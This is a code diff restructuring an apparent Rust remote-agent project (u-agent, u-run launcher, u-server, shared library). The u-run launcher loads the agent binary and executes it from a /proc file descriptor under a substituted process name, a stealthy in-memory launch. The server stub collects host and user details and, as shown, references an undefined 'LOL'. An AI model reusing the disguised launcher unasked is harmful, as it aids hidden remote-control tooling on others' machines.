well structured

Cargo.toml

@@ -1,6 +1,5 @@
 [workspace]
 members = [
-    "u-run",
-    "u-server",
-    "u-agent"
+    "bin/*",
+    "lib/u_lib"
 ]

bin/u-agent/Cargo.toml

@@ -13,6 +13,7 @@ sysinfo = "0.10.5"
 #lazy_static = "1.4.0"
 log = "^0.4"
 env_logger = "0.7.1"
+cron = "0.6.0"
 
 [profile.release]
 panic = 'abort'

bin/u-agent/src/main.rs

@@ -25,6 +25,8 @@ use nix::{
     }
 };
 
+mod jobs;
+
 fn setsig(sig: Signal, hnd: SigHandler) {
     unsafe {
         signal(sig, hnd).unwrap();

bin/u-run/src/main.rs

@@ -18,8 +18,8 @@ fn get_uagent_data() -> Option<Vec<u8>> {
     // TODO: if not ls - then download
     let ls = read_dir("./").unwrap();
     for dirfile in ls {
-        let filename: std::path::PathBuf = dirfile.unwrap().path();
-        if filename.ends_with("u-agent") {
+        let filename = dirfile.unwrap().path();
+        if filename.to_str().unwrap() == "u-agent" {
             let mut file = File::open(filename).unwrap();
             let mut data: Vec<u8> = vec![];
             file.read_to_end(&mut data).unwrap();
@@ -76,8 +76,9 @@ fn main() {
         panic!("write wasn't successful: {}, need {}",
             res_len, ad_len);
     }
-    let exec_path: String = format!("/proc/{}/fd/{}",
-                    unsafe { getpid() }, fd);
+    let exec_path: String = format!(
+        "/proc/{}/fd/{}", unsafe { getpid() }, fd
+    );
     let proc_name = get_proc_name();
     let args = [proc_name.as_c_str()];
     execv(

bin/u-server/src/main.rs

@@ -0,0 +1,23 @@
+use warp::{
+    Filter
+};
+use env_logger;
+use tokio::sync::Mutex;
+use std::collections::HashMap;
+
+use u_lib::Client;
+
+type Storage = Mutex<HashMap<String, Client>>;
+
+#[tokio::main]
+async fn main() {
+    env_logger::init();
+    let db: Storage = Mutex::new(HashMap::<String, Client>::new());
+    let hello = warp::get().and(warp::path::param())
+        .map(|p: String| format!("Hello, {} ({})", p, LOL));
+
+    //let post = warp::post().and(warp::path("new"))
+    let routes = hello
+        .with(warp::log("warp"));
+    warp::serve(routes).run(([127,0,0,1], 63714)).await;
+}

lib/u_lib/Cargo.toml

@@ -1,5 +1,5 @@
 [package]
-name = "u-server"
+name = "u_lib"
 version = "0.1.0"
 authors = ["plazmoid <kronos44@mail.ru>"]
 edition = "2018"
@@ -7,3 +7,4 @@ edition = "2018"
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
 [dependencies]
+serde = { version = "1.0.114", features = ["derive"] }

lib/u_lib/src/lib.rs

@@ -0,0 +1,10 @@
+use serde::Deserialize;
+
+#[derive(Deserialize)]
+pub struct Client {
+    pub ip: String,
+    pub hostname: String,
+    pub username: String,
+    pub os: String,
+    pub platform: String
+}

u-server/src/main.rs

@@ -1,3 +0,0 @@
-fn main() {
-    println!("Hello, world!");
-}